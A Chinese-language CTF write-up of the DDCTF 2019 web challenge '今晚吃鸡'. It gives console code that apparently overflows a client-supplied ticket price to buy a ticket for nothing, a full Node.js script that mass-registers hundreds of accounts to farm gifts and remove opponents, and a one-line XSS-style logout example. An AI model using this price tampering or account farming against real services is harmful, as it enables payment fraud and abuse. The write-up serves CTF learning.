DDCTF 2019 Web 6 - 大吉大利 今晚吃鸡

Yelo - 2019/04/15

📎 题目

大吉大利,今晚吃鸡~

http://117.51.147.155:5050/index.html#/login
注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~ (「录」字又写错了

本题不需要使用扫描器

📎 解题过程

📎 寻找突破口

从题目入口开始,尝试直接在浏览器中走一次正常的操作流程:

注册 -> 登录 -> 购买入场券(下单) -> 支付 -> ?

在支付这一步时便弹出了 余额不足 的异常:

screenshot

嗯,虽然一张券只要 2000 元,但注册即送 100 元 ,很良心了

观察此时在 Network 面板中累积的 XHR 记录:

screenshot

发现有三处可疑:

  1. 所有接口都使用 GET 方法;包括登录 (login),将请求参数(用户名和密码)直接放进了 Querystring 中。

  2. 下单接口 (buy_ticket) 的请求参数中出现了价格 (ticket_price) 。

  3. 支付接口 (pay_ticket) 的响应头中出现了其它接口没有的字段:

    Pay-Server: Apache-Coyote/1.1
    X-Powered-By: Servlet/3.0

📎 登录接口

通常执行动作的接口都应该使用 POST / PUT / PATCH / DELETE 方法;相比之下使用 GET 方法会存在两种问题:

  • 敏感信息(用户名和密码)不经 HTTPS 加密,容易被中间人以明文拦截。
  • 容易被 XSS 利用,以浏览者的身份直接执行动作;例如在论坛中插入 <img src="/logout" /> 的内容即可让所有浏览者登出账号。

但这次所有题目的环境都是 HTTP,目前在这一题中也还没发现有可被 XSS 利用的展示页,所以登录接口的可疑点似乎都还用不上,那么继续往下走吧。

📎 下单接口

对于下单操作而言,价格信息是不应直接信任客户端的;所以通常在下单接口的参数中也就不会出现价格字段。而这里既然出现了,我们就试着篡改看看 —— 在浏览器的控制台里执行:

async function createBill ({ price }) {
  let response = await fetch(`http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=${price}`)
  let body = await response.json()
  console.log(JSON.stringify(body, null))
}
// <- undefined

createBill({ price: 1 })
// <- Promise {<pending>}
// <- {"code":200,"data":[],"msg":"ticket门票价格为2000"}


createBill({ price: 2001 })
// <- Promise {<pending>}
// <- {"code":200,"data":[{"bill_id":"e78b7340-5e15-47d1-98bf-c819be9c607f","ticket_price":2001,"user_name":"yelo"}],"msg":"购买门票成功"}

没想到还对参数做了检查,只允许传入 >= 2000 的值。但这是一个非常诡异的操作,尝试向上溢出:

async function createBill ({ price }) {
  let response = await fetch(`http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=${price}`)
  let body = await response.json()
  console.log(JSON.stringify(body, null))
}
// <- undefined

async function cancelBill (id) {
  let response = await fetch(`http://117.51.147.155:5050/ctf/api/recall_bill?bill_id=${id}`)
  let body = await response.json()
  console.log(JSON.stringify(body, null))
}
// <- undefined

cancelBill('e78b7340-5e15-47d1-98bf-c819be9c607f') // 先取消刚创建的订单
// <- Promise {<pending>}
// <- {"code":200,"data":[{"bill_id":"e78b7340-5e15-47d1-98bf-c819be9c607f","ticket_price":2001,"user_name":"yelo"}],"msg":"订单已取消"}

createBill({ price: 4294967296 })
// <- Promise {<pending>}
// <- {"code":200,"data":[{"bill_id":"d7ddf24c-1be9-4f67-80ae-dff7fd91808b","ticket_price":4294967296,"user_name":"yelo_test_1"}],"msg":"购买门票成功"}

刷新页面后支付订单,成功零扣款进入下一阶段:

screenshot

获得了入场券和一个礼包 —— 礼包可以在下方「移除对手」弹出的表单中使用。

唔?也就是说直接注册 100 个玩家,把礼包都给一个账号使用不就好了吗?用 Node.js 写个脚本试试:

/**
 * File: ../common/batch.js
 * 
 * 创建批量任务
 * (从第一题扫描器脚本中抽离出的方法)
 */
const Queue = require('p-queue')
const pRetry = require('p-retry')
const Gauge = require('gauge')

const CONCURRENCY = process.env.CONCURRENCY || 1

function createBatch ({ name, job, isHit = () => true, concurrency = CONCURRENCY, retry = 2 }) {
  return async function batch (inputs) {
    const queue = new Queue({ concurrency })
    const gauge = new Gauge()
  
    let count = 0
    let results = []
  
    queue.on('active', () => {
      gauge.show(`Working on ${name}: #${++count} / ${inputs.length}`, count / inputs.length)
    })
  
    inputs.forEach((input) => queue.add(async () =>
      results.push(await pRetry(() => job(...input), {
        onFailedAttempt (error) {
          console.log(`Attempt ${error.attemptNumber} failed. There are ${error.retriesLeft} retries left.`)
        },
        retries: retry,
      }))
    ))
  
    await queue.onIdle()
    gauge.hide()
  
    return results.filter(isHit)
  }
}

exports.createBatch = createBatch


/**
 * File: api.js
 * 
 * 题中涉及的 API
 */
const got = require('got')
const { CookieJar } = require('tough-cookie')
const querystring = require('querystring')
const op = require('object-path')

const ENDPOINT = 'http://117.51.147.155:5050/ctf/api'

class Api {
  constructor (endpoint = ENDPOINT) {
    this.jar = new CookieJar()
    this.got = got.extend({
      baseUrl: endpoint,
      cookieJar: this.jar,
      hooks: {
        afterResponse: [
          (response) => {
            let body
            try {
              body = response.body = JSON.parse(response.body)
            } catch (error) {
              console.error(response)
              throw error
            }
            if (body.code !== 200) {
              let error = new Error(body.msg)
              error.response = response
              throw error
            }
            return response
          },
        ],
      },
    })
  }

  async register (name, password) {
    let query = querystring.stringify({
      name,
      password,
    })
    await this.got(`/register?${query}`)
    return name
  }

  async login (name, password) {
    let query = querystring.stringify({
      name,
      password,
    })
    await this.got(`/login?${query}`)
    return name
  }

  async createBill ({ price }) {
    let query = querystring.stringify({
      ticket_price: price,
    })
    let { body } = await this.got(`/buy_ticket?${query}`)
    let billId = op.get(body, 'data.0.bill_id')
    return billId
  }

  async payBill (id) {
    let query = querystring.stringify({
      bill_id: id,
    })
    let { body } = await this.got(`/pay_ticket?${query}`)
    let ticket = op.get(body, 'data.0')
    if (!ticket) {
      throw new Error('The transaction did not generate tickets.')
    }
    return ticket
  }

  async getGifts () {
    let { body } = await this.got(`/search_ticket`)
    return body.data
  }

  async kick ({ id, ticket }) {
    let query = querystring.stringify({
      id,
      ticket,
    })
    let { body } = await this.got(`/remove_robot?${query}`)
    return body
  }
}

module.exports = Api


/**
 * File: index.js
 *
 * 入口文件
 */
const pad = require('left-pad')
const flatten = require('just-flatten-it')
const Api = require('./api')
const { createBatch } = require('../common/batch')

async function createGifts () {
  const PREFIX = 'yelo_spawn_'
  const SIZE = 100
  const PASSWORD = '12345678'
  const OFFSET = 0

  const inputs = Array.from(Array(SIZE))
    .map((v, i) => pad(i + OFFSET, 3, '0'))
    .map((n) => [`${PREFIX}${n}`])

  const batch = createBatch({
    name: 'getting gifts',
    async job (name) {
      let api = new Api()
      try {
        await api.login(name, PASSWORD)
      } catch (error) {
        await api.register(name, PASSWORD)
      }
      try {
        let gifts = await api.getGifts()
        if (gifts.length > 0) {
          return gifts
        }
      } catch (e) {}
      let billId = await api.createBill({ price: 4294967296 })
      await api.payBill(billId)
      return await api.getGifts()
    },
  })

  let gifts = await batch(inputs)
  gifts = flatten(gifts)

  return gifts
}

async function kick ({ gifts }) {
  const USER = ['yelo', '12345678']

  let api = new Api()
  await api.login(...USER)

  let batch = createBatch({
    name: 'kicking',
    async job (gift) {
      return await api.kick(gift)
    },
  })

  await batch(gifts.map((gift) => [gift]))

  console.log('Kicking: Done.')
}

;(async () => {
    /**
     * 批量生成礼物
     */
    let gifts = await createGifts()
  
    /**
     * 在主账号中使用礼物移除对手
     */
    await kick({ gifts })
})()

浏览完整脚本

开始执行脚本:

node .

跑完脚本后发现竟然只消除了一半对手 (点名灭霸

screenshot

观察脚本日志发现不同用户居然还会得到同样 ID 的礼包。那多注册一些玩家呗:

async function spawnGifts () {
  const PREFIX = 'yelo_spawn_'
-  const SIZE = 100
+  const SIZE = 900

再次执行脚本:

node .

最终得到了 148 个不同的礼包,其中似乎只有 id <= 100 的才能有效移除对手。
这时回到题目的网页,刷新后得知已经吃鸡,拿到 flag DDCTF{chiken_dinner_hyMCX[n47Fx)} ,感觉还没开始便已经结束了

📎 支付接口

诶等下,是不是忘了什么?

开头不是还有一个可疑点吗? 🤦

唯独在支付接口响应头中才出现的 Apache-Coyote/1.1,搜索相关 CVE 后只发现一个 CVE-2005-2090,可用于缓存投毒。
很容易联想到前面提到的 XSS,也许能够配合使用吧。

不过既然只通过跑脚本就足以通关,出题人留下的这条线索可以说是非常意义不明了。

📎 涉及资料

📎 EOF

下一题
回到目录